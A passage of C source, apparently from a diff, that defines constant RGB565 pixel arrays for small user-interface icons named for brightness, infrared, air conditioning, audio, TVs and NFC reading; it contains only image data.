0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 - }; - - - const unsigned short brilho[576]= { - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x308B,0x308B,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58F4,0x58F4,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58F4,0x58F4,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x286A,0x388D,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58D4,0x58D4,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x388D,0x286A,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x388D,0x813D,0x40AF,0x0000,0x0000,0x0000,0x0000,0x0000,0x1847,0x1847,0x0000,0x0000,0x0000,0x0000,0x0000,0x40AF,0x813D,0x388D,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x40AF,0x815E,0x388D,0x0000,0x0000,0x1825,0x388C,0x48B0,0x48B1,0x388D,0x1825,0x0000,0x0000,0x388D,0x815E,0x40AF,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x388D,0x306B,0x0802,0x48B1,0x793C,0x895F,0x895F,0x813D,0x793C,0x793C,0x48B1,0x0822,0x306B,0x388D,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0822,0x58F5,0x895F,0x895F,0x895F,0x895F,0x58F5,0x1024,0x40AF,0x793C,0x58F5,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x48B1,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x0000,0x0000,0x2069,0x793C,0x48B1,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x1825,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x0000,0x0000,0x0000,0x40AF,0x793C,0x1825,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x388C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x0000,0x0000,0x0000,0x1024,0x793C,0x388D,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x308B,0x58F4,0x58F4,0x58D4,0x1847,0x48B0,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x0000,0x0000,0x0000,0x0001,0x6918,0x48B1,0x1847,0x58D4,0x58F4,0x58F4,0x308B, - 0x308B,0x58F4,0x58F4,0x58D4,0x1847,0x48B0,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x0000,0x0000,0x0000,0x0001,0x6918,0x48B1,0x1847,0x58D4,0x58F4,0x58F4,0x308B, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x388C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x0000,0x0000,0x0000,0x1024,0x793C,0x388D,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x1825,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x0000,0x0000,0x0000,0x40AF,0x793C,0x1825,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x48B1,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x0000,0x0000,0x2069,0x793C,0x48B1,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x58F5,0x895F,0x895F,0x895F,0x895F,0x58F5,0x1024,0x40AF,0x793C,0x58F5,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x388D,0x306B,0x0802,0x48B1,0x793C,0x895F,0x895F,0x813D,0x793C,0x793C,0x48B1,0x0802,0x306B,0x388D,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x40AF,0x815E,0x388D,0x0000,0x0000,0x1825,0x388C,0x48B0,0x48B1,0x388D,0x1825,0x0000,0x0000,0x388D,0x815E,0x40AF,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x388D,0x813D,0x40AF,0x0000,0x0000,0x0000,0x0000,0x0000,0x1847,0x1847,0x0000,0x0000,0x0000,0x0000,0x0000,0x40AF,0x813D,0x388D,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x286A,0x388D,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58D4,0x58D4,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x388D,0x286A,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58F4,0x58F4,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58F4,0x58F4,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x308B,0x308B,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 - }; - - - - - - - const unsigned short infra1[144] = { - 0x48B1,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x6918,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x6918,0x2869,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x0802, - 0x711A,0x793C,0x40AF,0x0001,0x0000,0x0000,0x0000,0x1024,0x1025,0x306A,0x388C,0x40AF, - 0x711A,0x895F,0x895F,0x388D,0x0000,0x388C,0x2048,0x58D4,0x286A,0x58F5,0x308B,0x60F5, - 0x711A,0x895F,0x895F,0x60F7,0x0000,0x50D2,0x388C,0x58D4,0x286A,0x58F5,0x286A,0x60F7, - 0x711A,0x895F,0x895F,0x60F7,0x0000,0x50D2,0x388C,0x58D4,0x286A,0x58F5,0x286A,0x60F7, - 0x7119,0x895F,0x895F,0x408E,0x0000,0x388D,0x2048,0x58D4,0x286A,0x58F5,0x306B,0x60F6, - 0x7119,0x813D,0x48D2,0x0802,0x0000,0x0000,0x0000,0x1024,0x1024,0x286A,0x308B,0x40AF, - 0x6918,0x306B,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x0001, - 0x68F7,0x2047,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x50D2,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 - }; - - - - const unsigned short ar[576] = { - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x306B,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x306B,0x0000, - 0x0802,0x7119,0x915F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x915F,0x915F,0x915F,0x915F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x915F,0x7119,0x0802, - 0x0823,0x711A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793B,0x7119,0x7119,0x793B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x711A,0x0823, - 0x0823,0x711A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x50D3,0x388E,0x388E,0x50D3,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x711A,0x0823, - 0x0823,0x711A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x711A,0x0823, - 0x0823,0x711A,0x895F,0x815E,0x815E,0x815E,0x815E,0x815E,0x815E,0x815E,0x815E,0x815E,0x815E,0x815E,0x815E,0x815E,0x815E,0x815E,0x815E,0x815E,0x815E,0x895F,0x711A,0x0823, - 0x0823,0x711A,0x6918,0x388D,0x388D,0x388D,0x388D,0x388D,0x388D,0x388D,0x388D,0x388D,0x388D,0x388D,0x388D,0x388D,0x388D,0x388D,0x388D,0x388D,0x388D,0x6918,0x711A,0x0823, - 0x0823,0x711A,0x711A,0x48B0,0x48B0,0x48B0,0x48B0,0x48B0,0x48B0,0x48B0,0x48B0,0x48B0,0x48B0,0x48B0,0x48B0,0x48B0,0x48B0,0x48B0,0x48B0,0x48B0,0x48B0,0x711A,0x711A,0x0823, - 0x0822,0x711A,0x793B,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x793B,0x711A,0x0822, - 0x0000,0x40AF,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x40AF,0x0000, - 0x0000,0x0000,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x2068,0x1845,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x308C,0x1846,0x0000,0x1023,0x58D4,0x1024,0x0000,0x0000,0x308C,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x58F5,0x0823,0x0000,0x0802,0x50D2,0x306B,0x0000,0x1024,0x58F5,0x0823,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x40AF,0x48B0,0x0001,0x0000,0x1024,0x58F5,0x1024,0x0000,0x40AF,0x48B0,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0823,0x58F5,0x1024,0x0000,0x1846,0x40AF,0x0001,0x0000,0x0823,0x58F5,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1845,0x306B,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1845,0x306B,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 - }; - - - const unsigned short audio[576] = { - 000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x2869,0x48B1,0x48B1,0x48B1,0x48B1,0x48B1,0x48B1,0x48B1,0x1825,0x1825,0x48B1,0x48B1,0x48B1,0x48B1,0x48B1,0x48B1,0x48B1,0x2869,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x2869,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x286A,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x2869,0x0000,0x0000, - 0x0000,0x0000,0x48B1,0x895F,0x895F,0x895F,0x895F,0x815E,0x895F,0x895F,0x895F,0x286A,0x286A,0x895F,0x895F,0x895F,0x815E,0x895F,0x895F,0x895F,0x895F,0x48B1,0x0000,0x0000, - 0x0000,0x0000,0x48B1,0x895F,0x895F,0x711A,0x388C,0x2047,0x306B,0x6918,0x895F,0x286A,0x286A,0x895F,0x6918,0x306B,0x2047,0x388C,0x711A,0x895F,0x895F,0x48B1,0x0000,0x0000, - 0x0000,0x0000,0x48B1,0x895F,0x793C,0x1846,0x1025,0x308C,0x1846,0x1024,0x7119,0x286A,0x286A,0x7119,0x1024,0x1846,0x308C,0x1025,0x1846,0x793C,0x895F,0x48B1,0x0000,0x0000, - 0x0000,0x0000,0x48B1,0x915F,0x50D2,0x0823,0x50D3,0x388D,0x50D3,0x1025,0x40AE,0x286A,0x286A,0x40AE,0x1025,0x50D3,0x388D,0x50D3,0x0823,0x50D2,0x915F,0x48B1,0x0000,0x0000, - 0x0000,0x0000,0x48B1,0x915F,0x40B0,0x1825,0x50D2,0x2048,0x48B1,0x2047,0x308C,0x286A,0x286A,0x308C,0x2047,0x48B1,0x2048,0x50D2,0x1825,0x40B0,0x915F,0x48B1,0x0000,0x0000, - 0x0000,0x0000,0x48B1,0x915F,0x60F7,0x0802,0x388E,0x50D2,0x40AF,0x0802,0x50D3,0x286A,0x286A,0x50D3,0x0802,0x40AF,0x50D2,0x388E,0x0802,0x60F7,0x915F,0x48B1,0x0000,0x0000, - 0x0000,0x0000,0x48B1,0x895F,0x895F,0x48B0,0x0823,0x0823,0x0822,0x388D,0x815E,0x286A,0x286A,0x815E,0x388D,0x0822,0x0823,0x0823,0x48B0,0x895F,0x895F,0x48B1,0x0000,0x0000, - 0x0000,0x0000,0x48B1,0x895F,0x895F,0x895F,0x711A,0x60F6,0x6919,0x895F,0x895F,0x286A,0x286A,0x895F,0x895F,0x6919,0x60F6,0x711A,0x895F,0x895F,0x895F,0x48B1,0x0000,0x0000, - 0x0000,0x0000,0x48B1,0x895F,0x895F,0x895F,0x711A,0x60F6,0x6919,0x895F,0x895F,0x286A,0x286A,0x895F,0x895F,0x6919,0x60F6,0x711A,0x895F,0x895F,0x895F,0x48B1,0x0000,0x0000, - 0x0000,0x0000,0x48B1,0x895F,0x895F,0x48B0,0x0823,0x0823,0x0822,0x388D,0x815E,0x286A,0x286A,0x815E,0x388D,0x0822,0x0823,0x0823,0x48B0,0x895F,0x895F,0x48B1,0x0000,0x0000, - 0x0000,0x0000,0x48B1,0x915F,0x60F7,0x0802,0x388E,0x50D2,0x40AF,0x0802,0x50D3,0x286A,0x286A,0x50D3,0x0802,0x40AF,0x50D2,0x388E,0x0802,0x60F7,0x915F,0x48B1,0x0000,0x0000, - 0x0000,0x0000,0x48B1,0x915F,0x40B0,0x1825,0x50D2,0x2048,0x48B1,0x2047,0x308C,0x286A,0x286A,0x308C,0x2047,0x48B1,0x2048,0x50D2,0x1825,0x40B0,0x915F,0x48B1,0x0000,0x0000, - 0x0000,0x0000,0x48B1,0x915F,0x50D2,0x0823,0x50D3,0x388D,0x50D3,0x1025,0x40AE,0x286A,0x286A,0x40AE,0x1025,0x50D3,0x388D,0x50D3,0x0823,0x50D2,0x915F,0x48B1,0x0000,0x0000, - 0x0000,0x0000,0x48B1,0x895F,0x793C,0x1846,0x1025,0x308C,0x1846,0x1024,0x7119,0x286A,0x286A,0x7119,0x1024,0x1846,0x308C,0x1025,0x1846,0x793C,0x895F,0x48B1,0x0000,0x0000, - 0x0000,0x0000,0x48B1,0x895F,0x895F,0x711A,0x388C,0x2047,0x306B,0x6918,0x895F,0x286A,0x286A,0x895F,0x6918,0x306B,0x2047,0x388C,0x711A,0x895F,0x895F,0x48B1,0x0000,0x0000, - 0x0000,0x0000,0x48B1,0x895F,0x895F,0x895F,0x895F,0x815E,0x895F,0x895F,0x895F,0x286A,0x286A,0x895F,0x895F,0x895F,0x815E,0x895F,0x895F,0x895F,0x895F,0x48B1,0x0000,0x0000, - 0x0000,0x0000,0x2869,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x286A,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x2869,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x2869,0x48B1,0x48B1,0x48B1,0x48B1,0x48B1,0x48B1,0x48B1,0x1825,0x1825,0x48B1,0x48B1,0x48B1,0x48B1,0x48B1,0x48B1,0x48B1,0x2869,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 - }; - - - - - const unsigned short tvs[576] = { - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0001,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0001,0x0000,0x0000, - 0x0000,0x0000,0x40AE,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x40AE,0x0000,0x0000, - 0x0000,0x0000,0x50D3,0x915F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x915F,0x50D3,0x0000,0x0000, - 0x0000,0x0000,0x50D2,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x50D2,0x0000,0x0000, - 0x0000,0x0000,0x50D2,0x895F,0x895F,0x895F,0x895F,0x7119,0x388E,0x388D,0x48B0,0x813D,0x58D4,0x711B,0x895F,0x58D4,0x711A,0x895F,0x895F,0x895F,0x895F,0x50D2,0x0000,0x0000, - 0x0000,0x0000,0x50D2,0x895F,0x895F,0x895F,0x895F,0x711A,0x286A,0x0802,0x40AF,0x813D,0x306A,0x40AF,0x793C,0x1825,0x68F7,0x895F,0x895F,0x895F,0x895F,0x50D2,0x0000,0x0000, - 0x0000,0x0000,0x50D2,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F6,0x1846,0x813E,0x895F,0x50D3,0x2047,0x50D2,0x1847,0x813D,0x895F,0x895F,0x895F,0x895F,0x50D2,0x0000,0x0000, - 0x0000,0x0000,0x50D2,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F6,0x1846,0x813D,0x895F,0x793B,0x1845,0x1024,0x40AE,0x895F,0x895F,0x895F,0x895F,0x895F,0x50D2,0x0000,0x0000, - 0x0000,0x0000,0x50D2,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F6,0x1846,0x813D,0x895F,0x895F,0x308B,0x0000,0x68F7,0x895F,0x895F,0x895F,0x895F,0x895F,0x50D2,0x0000,0x0000, - 0x0000,0x0000,0x50D2,0x895F,0x895F,0x895F,0x895F,0x895F,0x7119,0x408E,0x815E,0x895F,0x895F,0x60F7,0x388C,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x50D2,0x0000,0x0000, - 0x0000,0x0000,0x50D2,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x50D2,0x0000,0x0000, - 0x0000,0x0000,0x50D2,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x50D2,0x0000,0x0000, - 0x0000,0x0000,0x48B0,0x815E,0x813D,0x895F,0x895F,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x895F,0x895F,0x813D,0x815E,0x48B0,0x0000,0x0000, - 0x0000,0x0000,0x0802,0x1845,0x2869,0x793B,0x40AF,0x1825,0x1846,0x1846,0x1846,0x1846,0x1846,0x1846,0x1846,0x1846,0x1825,0x48B0,0x793B,0x2068,0x1845,0x0802,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x2047,0x58D4,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x58D4,0x1846,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 - }; - - const unsigned short readnfc[576] = { - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x2869,0x308B,0x306B,0x2048,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x1825,0x50D3,0x60F6,0x48B1,0x388C,0x286A,0x306B,0x388E,0x0822,0x0802,0x2048,0x388D,0x1845,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0001,0x50D2,0x50D3,0x1025,0x0000,0x0000,0x0000,0x2047,0x40B0,0x58F5,0x60F6,0x58F4,0x40AE,0x2869,0x60F6,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0802,0x60F6,0x2048,0x0000,0x0000,0x0000,0x0000,0x0801,0x6918,0x1846,0x0001,0x0000,0x0000,0x0000,0x0000,0x60F6,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x58F5,0x1846,0x0000,0x0000,0x0001,0x0802,0x388E,0x0000,0x60F6,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x48B1,0x40AF,0x2047,0x0001,0x0000,0x0000,0x0000, - 0x0000,0x2869,0x40AF,0x0000,0x0802,0x1825,0x50D2,0x1024,0x60F7,0x0000,0x60F6,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x306B,0x50D2,0x40AF,0x60F7,0x1024,0x0000,0x0000, - 0x0000,0x58F5,0x0802,0x2869,0x1023,0x60F6,0x2047,0x40AF,0x48B0,0x1846,0x50D2,0x1024,0x0000,0x306B,0x58F5,0x388E,0x0000,0x1825,0x48B1,0x0000,0x1846,0x48B0,0x0000,0x0000, - 0x0000,0x60F6,0x0000,0x306B,0x308C,0x60F5,0x0802,0x58F5,0x306B,0x306A,0x388C,0x2869,0x0000,0x6918,0x0802,0x308B,0x60F5,0x0802,0x813D,0x1024,0x0001,0x58D4,0x0000,0x0000, - 0x0000,0x60F6,0x0000,0x2869,0x388D,0x58F4,0x0802,0x60F6,0x286A,0x306B,0x1847,0x40AF,0x0000,0x286A,0x50D3,0x0000,0x2047,0x68F7,0x711A,0x1024,0x0000,0x60F6,0x0000,0x0000, - 0x0000,0x58F5,0x0801,0x388D,0x1024,0x60F7,0x1825,0x48B1,0x40AE,0x2047,0x0001,0x60F7,0x2048,0x408E,0x711A,0x50D2,0x0000,0x1024,0x40B0,0x40AE,0x0000,0x60F6,0x0000,0x0000, - 0x0000,0x286A,0x388E,0x0000,0x0823,0x286A,0x48B1,0x1846,0x60F6,0x0001,0x0000,0x2048,0x7119,0x286A,0x7119,0x50D3,0x1846,0x0000,0x0000,0x0000,0x0000,0x50D2,0x1024,0x0000, - 